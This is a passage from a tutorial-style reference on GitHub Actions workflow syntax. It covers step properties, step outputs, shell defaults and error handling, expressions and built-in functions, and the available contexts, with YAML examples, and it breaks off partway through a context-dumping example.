Always add a comment next to a SHA pin noting the version it corresponds to (e.g., # v4.1.7). Use the Dependabot github-actions ecosystem to get automatic PRs when pinned actions have new releases.
Step-Level Properties
Both run and uses steps support a shared set of optional properties that control naming, conditional execution, environment, and failure handling. Here's a complete reference:
| Property | Type | Purpose |
|---|---|---|
id | string | A unique identifier for the step. Required if you need to reference this step's outputs or outcome later. |
name | string | A human-readable label displayed in the GitHub Actions UI. Defaults to the run command or uses value. |
if | expression | A conditional expression. The step runs only when this evaluates to true. |
env | map | Environment variables scoped to this step only. Merged with job-level and workflow-level env. |
continue-on-error | boolean | When true, the job continues even if this step fails. The step shows as failed, but the job result is not affected. |
timeout-minutes | number | Maximum minutes the step can run before it's killed. Defaults to 360 (6 hours). |
Here's a realistic example combining several of these properties in a single step:
steps:
- name: Run integration tests
id: integration-tests
if: github.event_name == 'push'
run: npm run test:integration
env:
DATABASE_URL: postgres://localhost:5432/test_db
NODE_ENV: test
continue-on-error: true
timeout-minutes: 15
Setting and Accessing Step Outputs
Steps can produce outputs — named values that later steps in the same job can read. This is how you pass data between steps. You write to the special $GITHUB_OUTPUT file using a name=value syntax, and read outputs through the steps context.
steps:
- name: Determine version
id: version
run: |
CURRENT_VERSION=$(cat package.json | jq -r '.version')
echo "pkg_version=$CURRENT_VERSION" >> "$GITHUB_OUTPUT"
- name: Tag release
if: steps.version.outputs.pkg_version != ''
run: |
echo "Tagging release v${{ steps.version.outputs.pkg_version }}"
git tag "v${{ steps.version.outputs.pkg_version }}"
The pattern has three parts: the producing step must have an id, it writes to $GITHUB_OUTPUT, and the consuming step reads via steps.<id>.outputs.<name>. For multiline output values, use a delimiter syntax:
- name: Get changelog
id: changelog
run: |
{
echo "content<<EOF"
git log --oneline v1.0.0..HEAD
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Create release body
run: echo "${{ steps.changelog.outputs.content }}"
Checking Step Outcome
Beyond outputs, you can inspect whether a step succeeded or failed using the steps.<id>.outcome property. This is especially useful when combined with continue-on-error to implement fallback logic:
steps:
- name: Deploy to primary region
id: deploy-primary
continue-on-error: true
run: ./deploy.sh --region us-east-1
- name: Deploy to fallback region
if: steps.deploy-primary.outcome == 'failure'
run: ./deploy.sh --region us-west-2
- name: Notify on total failure
if: steps.deploy-primary.outcome == 'failure' && failure()
run: curl -X POST "$SLACK_WEBHOOK" -d '{"text":"Both deploys failed!"}'
steps.<id>.outcome reflects the raw result before continue-on-error is applied (it will be failure if the step failed). steps.<id>.conclusion reflects the final result after continue-on-error is applied (it will be success if continue-on-error: true). Use outcome when you need to detect actual failures in soft-fail steps.
Shell Configuration: bash, pwsh, python, and Custom Shells
Every run step in a GitHub Actions workflow executes inside a shell process. By default, GitHub picks the shell based on the runner's operating system — but you can override this per step, per job, or for the entire workflow. Understanding which shell runs your commands — and how each one handles errors — is the difference between a pipeline that silently swallows failures and one that catches them immediately.
Default Shells per Operating System
When you omit the shell key from a run step, GitHub Actions selects a default based on the runner OS:
| Runner OS | Default Shell | Command Template |
|---|---|---|
ubuntu-latest, ubuntu-22.04 | bash | bash --noprofile --norc -eo pipefail {0} |
macos-latest, macos-14 | bash | bash --noprofile --norc -eo pipefail {0} |
windows-latest, windows-2022 | pwsh | pwsh -command ". '{0}'" |
The {0} placeholder is where GitHub injects the path to a temporary script file containing your run commands. This is how every shell invocation works under the hood — your code is written to a temp file and then executed.
Available Shells and Their Error Handling
Each shell has distinct error-handling semantics. This matters because a failing command mid-step can either halt the workflow or be silently ignored depending on the shell in use.
bash
Bash is the most common shell for CI/CD. GitHub Actions invokes it with set -eo pipefail by default, which means: exit on the first error (-e), and treat any command failure in a pipeline as a pipeline failure (pipefail). This is the safest default — a failing curl piped into grep won't be masked by a successful grep.
- name: Build project
shell: bash
run: |
echo "Building..."
make build # If this fails, the step stops immediately
echo "Done!" # This line never runs if make fails
The full invocation template is bash --noprofile --norc -eo pipefail {0}. The --noprofile --norc flags skip loading .bashrc and .bash_profile, ensuring a clean, predictable environment.
sh
The POSIX shell (sh) uses set -e but does not support pipefail. This means pipeline failures can go undetected. Use sh only when you need strict POSIX compatibility or are running on a minimal container image without bash.
- name: POSIX-compatible step
shell: sh
run: |
# Invoked as: sh -e {0}
echo "Running in POSIX sh"
pwsh (PowerShell Core)
PowerShell Core is cross-platform and available on all GitHub-hosted runner OSes (Linux, macOS, and Windows). It's the default shell on Windows runners. GitHub prepends $ErrorActionPreference = 'stop' to your script, so any error terminates the step. It also pipes output through Out-Default to capture the full output stream.
- name: Cross-platform PowerShell
shell: pwsh
run: |
$version = $PSVersionTable.PSVersion
Write-Output "PowerShell Core $version"
Get-ChildItem -Path ./src -Recurse -Filter *.cs | Measure-Object
powershell (Windows PowerShell)
This is the legacy Windows-only PowerShell (version 5.1). It uses the same error-handling behavior as pwsh, but it's only available on Windows runners. Prefer pwsh for cross-platform workflows.
python
Setting shell: python executes the entire run block as a Python script. GitHub invokes python {0}, passing the temp file. There's no automatic error handling added — if you want to fail on errors, you need to handle exceptions or use sys.exit(1) yourself.
- name: Run inline Python
shell: python
run: |
import json, os
event_path = os.environ["GITHUB_EVENT_PATH"]
with open(event_path) as f:
payload = json.load(f)
print(f"Triggered by: {payload['sender']['login']}")
cmd (Windows only)
The classic Windows Command Prompt. GitHub Actions prepends @echo off and checks the error level after each line. It's rarely needed — use pwsh unless you're working with legacy batch scripts.
bash is the strictest out of the box thanks to -eo pipefail. Both pwsh and powershell auto-set $ErrorActionPreference = 'stop'. sh uses -e but lacks pipefail. python and cmd add no automatic error flags — you're responsible for explicit error handling.
Setting Shell and Working Directory with defaults.run
Repeating shell: bash on every step is tedious. The defaults.run key lets you set the shell and working directory once, either for the entire workflow or for a specific job. Individual steps can still override these defaults.
Workflow-level defaults
Place defaults at the top level of your workflow file. Every run step across all jobs inherits these settings:
name: Build and Test
defaults:
run:
shell: bash
working-directory: ./app
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: npm ci # Runs in ./app with bash
- name: Run tests
run: npm test # Also runs in ./app with bash
- name: Check root files
working-directory: . # Override for this step only
run: ls -la
Job-level defaults
You can also set defaults per job. Job-level defaults override workflow-level defaults, giving you fine-grained control in multi-job workflows:
jobs:
backend:
runs-on: ubuntu-latest
defaults:
run:
shell: bash
working-directory: ./backend
steps:
- uses: actions/checkout@v4
- run: cargo build --release
- run: cargo test
frontend:
runs-on: ubuntu-latest
defaults:
run:
shell: bash
working-directory: ./frontend
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm run build
In monorepos, use job-level defaults.run.working-directory to scope each job to its package directory. This eliminates repetitive cd commands and makes your workflow files much cleaner.
Custom Shell Invocations
You aren't limited to the built-in shell names. The shell key accepts any command string that includes the {0} placeholder — GitHub writes your run block to a temp file and substitutes its path into {0}. This opens the door to using Perl, Ruby, or any other interpreter available on the runner.
- name: Run a Perl script
shell: perl {0}
run: |
print "Perl version: $^V
";
my @files = glob("src/*.pl");
print "Found " . scalar(@files) . " Perl files
";
- name: Run with custom bash flags
shell: bash -x -e {0}
run: |
# -x prints each command before execution (debug mode)
# -e exits on error, but no pipefail
echo "Debug tracing is on"
whoami
The custom shell pattern is especially useful for two scenarios: running scripts in languages GitHub doesn't natively support, and tweaking the error-handling flags of a built-in shell (e.g., adding -x for debug tracing or removing -e when you intentionally want to continue past errors).
Using a custom shell string like bash {0} (without -e) means failing commands won't stop the step. The step will report success even if intermediate commands failed. Only do this when you're deliberately handling errors yourself — for example, when capturing an exit code in a variable.
Shell Selection Quick Reference
| Shell | Platforms | Auto Error Handling | Invocation Template |
|---|---|---|---|
bash | Linux, macOS, Windows | set -eo pipefail | bash --noprofile --norc -eo pipefail {0} |
sh | Linux, macOS | set -e | sh -e {0} |
pwsh | Linux, macOS, Windows | $ErrorActionPreference = 'stop' | pwsh -command ". '{0}'" |
powershell | Windows only | $ErrorActionPreference = 'stop' | powershell -command ". '{0}'" |
python | Linux, macOS, Windows | None | python {0} |
cmd | Windows only | %ErrorLevel% check per line | cmd /D /E:ON /V:OFF /S /C "CALL "{0}"" |
Expressions, Operators, and Built-in Functions
GitHub Actions expressions let you programmatically set values, evaluate conditions, and transform data throughout your workflows. Every expression lives inside the ${{ }} delimiter and is evaluated by the Actions runner at execution time. Mastering expressions is the key to writing dynamic, flexible workflows.
The ${{ }} Syntax
You can use expressions in any workflow value by wrapping them in ${{ }}. When used in an if conditional, the delimiters are optional — GitHub automatically evaluates the value as an expression.
env:
MY_VAR: ${{ github.ref_name }}
steps:
- name: Greet
run: echo "Branch is ${{ github.ref_name }}"
# In `if`, the ${{ }} delimiters are optional
- name: Deploy
if: github.ref == 'refs/heads/main'
run: ./deploy.sh
While if conditionals auto-evaluate expressions, you should still use ${{ }} when you need string interpolation inside the condition or when comparing against context values that might be coerced unexpectedly.
Literal Types
Expressions support four literal types. These are the raw values you use within ${{ }} for comparisons, assignments, and function arguments.
| Type | Syntax | Examples |
|---|---|---|
| null | null | null |
| Boolean | true / false | true, false |
| Number | Any valid JSON number | 42, -9.5, 3.141, 2.99e8 |
| String | Single-quoted text | 'hello', 'it''s escaped' |
Strings must use single quotes. To include a literal single quote inside a string, double it: 'it''s' produces it's. There are no double-quoted strings in expressions.
steps:
- name: Literal examples
if: github.event_name == 'push'
env:
IS_RELEASE: ${{ true }}
MAX_RETRIES: ${{ 3 }}
GREETING: ${{ 'Hello, Actions!' }}
UNSET_VAR: ${{ null }}
run: echo "$IS_RELEASE retries=$MAX_RETRIES"
Operators
Expressions support a concise set of operators for comparisons, logical branching, and grouping. Every comparison is case-insensitive for strings — 'ABC' == 'abc' evaluates to true.
Comparison Operators
| Operator | Description | Example |
|---|---|---|
== | Equal (loose, with type coercion) | github.ref == 'refs/heads/main' |
!= | Not equal | github.actor != 'dependabot[bot]' |
< | Less than | github.run_attempt < 3 |
> | Greater than | steps.tests.outputs.score > 80 |
<= | Less than or equal | strategy.job-index <= 2 |
>= | Greater than or equal | env.MIN_COVERAGE >= 90 |
Logical Operators
| Operator | Description | Example |
|---|---|---|
&& | Logical AND | github.ref == 'refs/heads/main' && github.event_name == 'push' |
|| | Logical OR | github.event_name == 'push' || github.event_name == 'workflow_dispatch' |
! | Logical NOT | !cancelled() |
( ) | Grouping | (github.ref == 'refs/heads/main') && (success() || failure()) |
- name: Deploy to production
if: >-
github.ref == 'refs/heads/main' &&
github.event_name == 'push' &&
!contains(github.event.head_commit.message, '[skip deploy]')
run: ./deploy.sh
- name: Notify on any conclusion
if: (success() || failure()) && github.ref == 'refs/heads/main'
run: ./notify.sh ${{ job.status }}
Type Coercion Rules
When you compare values of different types, GitHub Actions automatically coerces them. Understanding these rules prevents subtle bugs — especially when context values arrive as strings but you compare them as numbers.
| From Type | To Boolean | To Number | To String |
|---|---|---|---|
| null | false | 0 | '' |
| Boolean | — | true→1, false→0 | 'true' / 'false' |
| Number | false if 0, else true | — | decimal string |
| String | false if '', else true | JSON number or NaN | — |
A common pitfall: comparing NaN to NaN returns false. If a string can't be parsed as a number, both sides become NaN and equality fails silently. Always ensure numeric context values are actually numeric before comparing with < or >.
Built-in Functions
GitHub Actions provides a set of built-in functions you can call inside expressions. These cover string matching, formatting, JSON handling, file hashing, and job status checks.
String Functions
contains( search, item )
Returns true if search contains item. Works on strings (case-insensitive substring match) and arrays (exact element match). This is one of the most commonly used functions for filtering by labels, commit messages, or changed files.
# String substring check (case-insensitive)
- name: Skip CI
if: contains(github.event.head_commit.message, '[skip ci]')
run: echo "Skipping..."
# Array element check
- name: Run if label exists
if: contains(github.event.pull_request.labels.*.name, 'deploy')
run: ./deploy.sh
# Check the runner OS
- name: macOS only
if: contains(runner.os, 'macOS')
run: brew install jq
startsWith( string, prefix )
Returns true if the string begins with the prefix. Case-insensitive. Invaluable for branch filtering when the if condition needs more nuance than the on.push.branches filter provides.
- name: Run on release branches
if: startsWith(github.ref, 'refs/heads/release/')
run: echo "Building release from ${{ github.ref_name }}"
- name: Run on version tags
if: startsWith(github.ref, 'refs/tags/v')
run: echo "Tagged version: ${{ github.ref_name }}"
endsWith( string, suffix )
Returns true if the string ends with the suffix. Case-insensitive. Useful for matching file extensions, tag suffixes, or branch naming conventions.
- name: Detect pre-release tags
if: endsWith(github.ref_name, '-rc')
run: echo "This is a release candidate"
- name: Check actor domain
if: endsWith(github.actor, '[bot]')
run: echo "Triggered by a bot account"
format( template, ...args )
Replaces {0}, {1}, etc. in the template string with the provided arguments. This is the expression-native way to build strings without relying on shell interpolation. To include a literal brace, escape it by doubling: {{ and }}.
env:
# Produces: "Run 42 on main by octocat"
SUMMARY: ${{ format('Run {0} on {1} by {2}', github.run_number, github.ref_name, github.actor) }}
# Escape literal braces with doubling: produces "{hello}"
BRACES: ${{ format('{{hello}}') }}
# Build a dynamic cache key
CACHE_KEY: ${{ format('{0}-{1}-{2}', runner.os, 'node', hashFiles('**/package-lock.json')) }}
join( array, separator )
Concatenates the elements of an array into a single string using the specified separator. If no separator is provided, it defaults to ,. Particularly useful for collecting output values or label names.
- name: List all PR labels
run: echo "Labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"
# Output: "Labels: bug, priority-high, needs-review"
- name: Default comma separator
run: echo "${{ join(github.event.pull_request.labels.*.name) }}"
# Output: "bug,priority-high,needs-review"
JSON Functions
toJSON( value )
Serializes any value into a pretty-printed JSON string. Essential for debugging — dumping entire contexts to the log reveals the exact structure and values available to your workflow.
# Dump the entire github context for debugging
- name: Debug github context
run: echo '${{ toJSON(github) }}'
# Dump a specific step's outputs
- name: Inspect step outputs
run: echo '${{ toJSON(steps.build.outputs) }}'
# Dump the full event payload
- name: Show event
run: echo '${{ toJSON(github.event) }}'
fromJSON( string )
Parses a JSON string into an object or value. This is the workhorse behind dynamic matrix strategies — you can generate a JSON array in one job and consume it as a matrix in another. It also lets you cast string outputs to numbers or booleans.
jobs:
prepare:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- id: set-matrix
run: echo "matrix=[\"ubuntu-latest\",\"macos-latest\",\"windows-latest\"]" >> "$GITHUB_OUTPUT"
build:
needs: prepare
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: ${{ fromJSON(needs.prepare.outputs.matrix) }}
steps:
- run: echo "Building on ${{ matrix.os }}"
# Cast a string output to a number for comparison
- name: Check score
if: fromJSON(steps.test.outputs.coverage) >= 80
run: echo "Coverage threshold met!"
# Cast a string to a boolean
- name: Conditional on boolean output
if: fromJSON(steps.check.outputs.should_deploy)
run: ./deploy.sh
File Hashing
hashFiles( ...patterns )
Computes a single SHA-256 hash across all files matching the given glob patterns. Returns an empty string if no files match. This is the standard approach for cache keys — when your dependency lockfile changes, the hash changes, and the cache is invalidated.
# Cache Node.js dependencies
- uses: actions/cache@v4
with:
path: ~/.npm
key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-node-
# Cache Python dependencies
- uses: actions/cache@v4
with:
path: ~/.cache/pip
key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt', '**/setup.py') }}
# Multiple patterns — hash all Go sum files
- uses: actions/cache@v4
with:
path: ~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
hashFiles() follows the search path relative to the GITHUB_WORKSPACE directory. The glob patterns use the same syntax as @actions/glob — double-star ** matches across directories. You can pass multiple patterns as separate arguments and they all contribute to one combined hash.
Job Status Check Functions
These four functions check the aggregate status of previous steps in the current job. They are designed for use in if conditionals and are critical for building reliable cleanup, notification, and error-handling steps.
success()
Returns true when all previous steps have succeeded. This is the implicit default — every step has an invisible if: success() unless you override it. You rarely need to write it explicitly, but it's useful in compound conditions.
# Explicit success — same as the default behavior
- name: Upload artifacts
if: success()
uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
failure()
Returns true if any previous step failed. Use this to trigger error-handling steps — upload logs, send alerts, or create GitHub issues on failure.
- name: Run tests
id: tests
run: npm test
- name: Upload failure logs
if: failure() && steps.tests.outcome == 'failure'
uses: actions/upload-artifact@v4
with:
name: test-logs
path: test-results/
- name: Notify Slack on failure
if: failure()
run: |
curl -X POST "$SLACK_WEBHOOK" \
-d "{\"text\": \"❌ Build failed on ${{ github.ref_name }}\"}"
cancelled()
Returns true if the workflow run was cancelled. Useful for distinguishing a user-initiated cancellation from an actual failure so you can skip certain notifications or cleanup differently.
- name: Handle cancellation
if: cancelled()
run: echo "Workflow was cancelled — cleaning up partial resources"
always()
Returns true regardless of whether previous steps succeeded, failed, or were cancelled. This guarantees the step runs no matter what. Use it for cleanup tasks, resource teardown, or final status reporting.
- name: Tear down test environment
if: always()
run: docker compose down --volumes
- name: Report final status
if: always()
run: |
echo "Job conclusion: ${{ job.status }}"
echo "Completed at: $(date -u)"
Combining Status Functions
The real power of status functions emerges when you combine them with other conditions. A common pattern is "run on success or failure but not if cancelled" — this lets cancelled workflows skip expensive notification steps.
# Run on success OR failure, but NOT if cancelled
- name: Post build status
if: success() || failure()
run: ./post-status.sh ${{ job.status }}
# Run cleanup always, but only notify on failure for main branch
- name: Alert on main failure
if: failure() && github.ref == 'refs/heads/main'
uses: slackapi/slack-github-action@v1
with:
payload: |
{"text": "🚨 Main branch build failed: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"}
Putting It All Together
Here's a realistic workflow fragment that combines expressions, operators, and multiple built-in functions into a cohesive CI pipeline. Notice how each conditional uses a different combination of functions and operators.
name: CI Pipeline
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Cache dependencies
uses: actions/cache@v4
with:
path: node_modules
key: ${{ format('{0}-node-{1}', runner.os, hashFiles('**/package-lock.json')) }}
- name: Install & Build
run: npm ci && npm run build
- name: Run tests
id: tests
run: npm test
- name: Deploy to staging
if: >-
success() &&
startsWith(github.ref, 'refs/heads/release/') &&
!contains(github.event.head_commit.message, '[no deploy]')
run: ./deploy.sh staging
- name: Deploy to production
if: >-
success() &&
github.ref == 'refs/heads/main' &&
github.event_name == 'push'
run: ./deploy.sh production
- name: Upload test report
if: always()
uses: actions/upload-artifact@v4
with:
name: test-report-${{ github.run_number }}
path: coverage/
- name: Notify team
if: failure() && github.ref == 'refs/heads/main'
run: echo "Build ${{ github.run_number }} failed on main"
- name: Debug on failure
if: failure()
run: |
echo "Failed step: ${{ toJSON(steps.tests) }}"
echo "Event: ${{ github.event_name }}"
echo "PR labels: ${{ join(github.event.pull_request.labels.*.name, ', ') }}"
Contexts: github, env, job, steps, runner, matrix, needs, and More
Contexts are GitHub Actions' primary mechanism for accessing information about workflow runs, jobs, steps, and the runner environment. Every context is an object you reference with the ${{ <context> }} expression syntax, and each one is available at specific points in a workflow's lifecycle.
This section provides an exhaustive reference for every built-in context, its properties, and exactly where you can use each one.
The github Context
The github context is the richest context available. It carries metadata about the workflow run, the triggering event, the repository, and the actor who initiated the run. You can access it in almost every workflow location — from on filters down to individual step expressions.
- name: Print key github context values
run: |
echo "Event: ${{ github.event_name }}"
echo "SHA: ${{ github.sha }}"
echo "Ref: ${{ github.ref }}"
echo "Branch: ${{ github.ref_name }}"
echo "Actor: ${{ github.actor }}"
echo "Trigger: ${{ github.triggering_actor }}"
echo "Run ID: ${{ github.run_id }}"
echo "Run #: ${{ github.run_number }}"
echo "Repo: ${{ github.repository }}"
echo "Owner: ${{ github.repository_owner }}"
echo "Workflow: ${{ github.workflow }}"
echo "API URL: ${{ github.api_url }}"
Key github Properties
| Property | Type | Description |
|---|---|---|
github.event_name | string | Name of the triggering event (e.g., push, pull_request, workflow_dispatch). |
github.event | object | The full webhook event payload. Identical to the JSON in $GITHUB_EVENT_PATH. Use to access PR numbers, labels, commit messages, etc. |
github.sha | string | The commit SHA that triggered the run. For PRs, this is the merge commit SHA, not the head commit. |
github.ref | string | Full ref of the branch or tag (e.g., refs/heads/main, refs/tags/v1.0.0). |
github.ref_name | string | Short ref name without the refs/heads/ or refs/tags/ prefix (e.g., main, v1.0.0). |
github.workflow | string | Name of the workflow as defined in the name: key of the workflow file. |
github.repository | string | Owner and repo name (e.g., octocat/hello-world). |
github.repository_owner | string | The owner of the repository (e.g., octocat). |
github.actor | string | The username of the user who initiated the workflow run. |
github.triggering_actor | string | The user who triggered the run. Differs from actor when a workflow is re-run by a different user. |
github.run_id | string | A unique number for each workflow run in the repository. Does not change on re-runs. |
github.run_number | string | A unique, sequentially incrementing number for each run of a specific workflow. Starts at 1. |
github.run_attempt | string | A unique number for each attempt of a particular run (starts at 1, increments on re-run). |
github.server_url | string | URL of the GitHub server (e.g., https://github.com). |
github.api_url | string | URL of the GitHub REST API (e.g., https://api.github.com). |
github.token | string | Auto-generated token for the run. Same as secrets.GITHUB_TOKEN. |
github.workspace | string | Default working directory on the runner for steps. After actions/checkout, this contains your repo. |
github.action | string | The name of the currently running action, or the step id. |
github.base_ref | string | Target branch of a PR (e.g., main). Only set for pull_request events. |
github.head_ref | string | Source branch of a PR (e.g., feature/login). Only set for pull_request events. |
You can drill into github.event to access any field from the GitHub webhook payload. For example, github.event.pull_request.title gives you the PR title, and github.event.head_commit.message gives you the latest commit message on a push. The structure depends entirely on the event type.
The env Context
The env context contains environment variables that have been set at the workflow, job, or step level. Variables set at a narrower scope override those at a wider scope. You read them via ${{ env.MY_VAR }} in expressions or as $MY_VAR in shell scripts.
env:
APP_ENV: production # workflow-level
jobs:
deploy:
runs-on: ubuntu-latest
env:
REGION: us-east-1 # job-level (overrides workflow-level)
steps:
- name: Deploy
env:
DEBUG: "false" # step-level (narrowest scope)
run: |
echo "Env: ${{ env.APP_ENV }}"
echo "Region: $REGION"
echo "Debug: $DEBUG"
The key distinction: ${{ env.VAR }} is evaluated by the GitHub Actions expression engine before the shell runs. $VAR is evaluated by the shell at runtime. In most cases they produce the same value, but the expression form is required in if: conditionals and other non-shell fields.
The job Context
The job context provides runtime information about the currently executing job. Its most common use is checking the job's status in post-processing or cleanup steps, but it also exposes details about service containers.
| Property | Type | Description |
|---|---|---|
job.status | string | Current status of the job: success, failure, or cancelled. |
job.container | object | Info about the job's container: job.container.id and job.container.network. |
job.services | object | Service containers defined for the job. Access via job.services.<service_id>.id and job.services.<service_id>.ports. |
jobs:
test:
runs-on: ubuntu-latest
services:
redis:
image: redis:7
ports:
- 6379:6379
steps:
- name: Verify Redis is running
run: |
echo "Redis container ID: ${{ job.services.redis.id }}"
redis-cli -h localhost -p 6379 ping
- name: Cleanup on any outcome
if: always()
run: echo "Job status is ${{ job.status }}"
The steps Context
The steps context gives you access to the outputs, outcome, and conclusion of previously executed steps within the same job. You reference a step by its id. This is how you pass data between steps and make conditional decisions based on prior results.
outcome vs conclusion
These two properties often confuse people. outcome is the raw result of the step before continue-on-error is applied. conclusion is the final result after continue-on-error. If a step fails but has continue-on-error: true, its outcome is failure but its conclusion is success.
steps:
- id: lint
continue-on-error: true
run: npm run lint
- id: build
run: npm run build
- name: Report lint status
if: steps.lint.outcome == 'failure'
run: echo "Lint failed but was allowed to continue"
- name: Use build output
run: echo "Build conclusion: ${{ steps.build.conclusion }}"
Passing Data Between Steps with Outputs
Steps produce outputs by writing to the $GITHUB_OUTPUT file. Downstream steps read them via steps.<step_id>.outputs.<name>. This is the primary way to share computed values within a single job.
steps:
- id: version
run: echo "tag=v$(date +%Y%m%d)-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
- name: Use the computed tag
run: echo "Deploying ${{ steps.version.outputs.tag }}"
The runner Context
The runner context provides information about the runner machine executing the current job. It's especially useful for writing cross-platform workflows or for placing temporary files in safe locations.
| Property | Type | Description |
|---|---|---|
runner.os | string | Operating system: Linux, Windows, or macOS. |
runner.arch | string | Architecture: X86, X64, or ARM64. |
runner.name | string | The name of the runner executing the job. |
runner.temp | string | Path to a temporary directory. Guaranteed to be empty at the start of each job. Cleaned up automatically. |
runner.tool_cache | string | Path to the directory containing preinstalled tools (used by actions/setup-* actions). |
runner.environment | string | The runner environment: github-hosted or self-hosted. |
runner.debug | string | 1 if debug logging is enabled, empty string otherwise. |
- name: Platform-specific build
run: |
if [ "${{ runner.os }}" = "Windows" ]; then
choco install my-tool
elif [ "${{ runner.os }}" = "macOS" ]; then
brew install my-tool
else
sudo apt-get install -y my-tool
fi
- name: Store artifacts in temp
run: cp build/output.zip "${{ runner.temp }}/output.zip"
The matrix Context
The matrix context holds the values for the current matrix combination. When you define a strategy.matrix, GitHub Actions spawns one job for each combination. Inside each spawned job, matrix.<property> gives you the specific values for that run.
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
node: [18, 20, 22]
steps:
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node }}
- run: node --version
- run: echo "Testing on ${{ matrix.os }} with Node ${{ matrix.node }}"
The matrix context is only available inside jobs that define a matrix strategy. Referencing it elsewhere produces an empty string.
The needs Context
The needs context lets you access outputs and results from jobs that the current job depends on (via the needs: key). This is the mechanism for passing data between jobs — while steps passes data within a job, needs does it across job boundaries.
jobs:
build:
runs-on: ubuntu-latest
outputs:
artifact-url: ${{ steps.upload.outputs.url }}
steps:
- id: upload
run: echo "url=https://artifacts.example.com/build-42.zip" >> "$GITHUB_OUTPUT"
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- name: Download artifact
run: |
echo "Build result: ${{ needs.build.result }}"
echo "Artifact: ${{ needs.build.outputs.artifact-url }}"
Each entry in needs exposes two things: needs.<job_id>.result (one of success, failure, cancelled, or skipped) and needs.<job_id>.outputs.<name> for any outputs declared in the upstream job.
The secrets Context
The secrets context provides access to encrypted secrets configured in the repository, organization, or environment settings. Secret values are masked in logs — GitHub Actions automatically redacts them from any output.
steps:
- name: Deploy to production
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://my-bucket
- name: Use auto-provided token
run: |
curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \
https://api.github.com/repos/${{ github.repository }}/issues
secrets.GITHUB_TOKEN is automatically available in every workflow run without any configuration. For all other secrets, you must add them in your repository or organization settings.
The inputs Context
The inputs context is available in manually triggered workflows (workflow_dispatch), reusable workflows (workflow_call), and repository dispatch events. It contains the values provided by the user or the calling workflow for each defined input.
on:
workflow_dispatch:
inputs:
environment:
description: "Target deployment environment"
required: true
type: choice
options: [staging, production]
dry-run:
description: "Run without making changes"
type: boolean
default: false
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
if: inputs.dry-run == false
run: echo "Deploying to ${{ inputs.environment }}"
- name: Dry run
if: inputs.dry-run == true
run: echo "DRY RUN — would deploy to ${{ inputs.environment }}"
The vars Context
The vars context accesses configuration variables set at the repository, environment, or organization level. Unlike secrets, these values are not encrypted and are visible in logs. Use them for non-sensitive configuration like feature flags, URLs, or version numbers.
steps:
- name: Build with config
env:
API_BASE_URL: ${{ vars.API_BASE_URL }}
FEATURE_FLAGS: ${{ vars.FEATURE_FLAGS }}
run: |
echo "Building against $API_BASE_URL"
npm run build
Configuration variables follow the same precedence rules as secrets: environment-level overrides repository-level, which overrides organization-level.
Context Availability Matrix
Not every context is available in every workflow key. Attempting to use a context where it's not available results in an error or an empty value. The following table shows exactly where each context can be used.
A common mistake is trying to use steps or job in a place where only github and inputs are available, such as the concurrency key at the workflow level. Always check this matrix when debugging "context not available" errors.
| Workflow Key | github | env | vars | secrets | inputs | job | steps | matrix | needs | runner |
|---|---|---|---|---|---|---|---|---|---|---|
run-name | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ❌ | ❌ | ❌ |
concurrency (workflow) | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ❌ | ❌ | ❌ |
env (workflow) | ✅ | ❌ | ✅ | ✅ | ✅ | ❌ | ❌ | ❌ | ❌ | ❌ |
jobs.<id>.if | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ |
jobs.<id>.concurrency | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ✅ | ❌ | ❌ |
jobs.<id>.env | ✅ | ❌ | ✅ | ✅ | ✅ | ❌ | ❌ | ✅ | ✅ | ❌ |
jobs.<id>.strategy | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ |
jobs.<id>.container | ✅ | ✅ | ✅ | ❌ | ✅ | ❌ | ❌ | ✅ | ✅ | ❌ |
jobs.<id>.steps.if | ✅ | ✅ | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
jobs.<id>.steps.run | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
jobs.<id>.steps.env | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
jobs.<id>.outputs | ✅ | ❌ | ❌ | ❌ | ✅ | ❌ | ✅ | ✅ | ❌ | ❌ |
Dumping All Contexts for Debugging
When debugging a workflow, it's invaluable to see the full contents of every context. The following step prints all major contexts as formatted JSON. Use this as a diagnostic step and remove it before merging to production.
- name: Dump all contexts
env:
GITHUB_CONTEXT: ${{ toJSON(github) }}
ENV_CONTEXT: ${{ toJSON(env) }}
JOB_CONTEXT: ${{ toJSON(job) }}
STEPS_CONTEXT: ${{ toJSON(steps) }}
RUNNER_CONTEXT: ${{ toJSON(runner) }}
MATRIX_CONTEXT: ${{ toJSON(matrix) }}
NEEDS_CONTEXT: ${{ toJSON(needs) }}
run: |
echo "::group::github context"
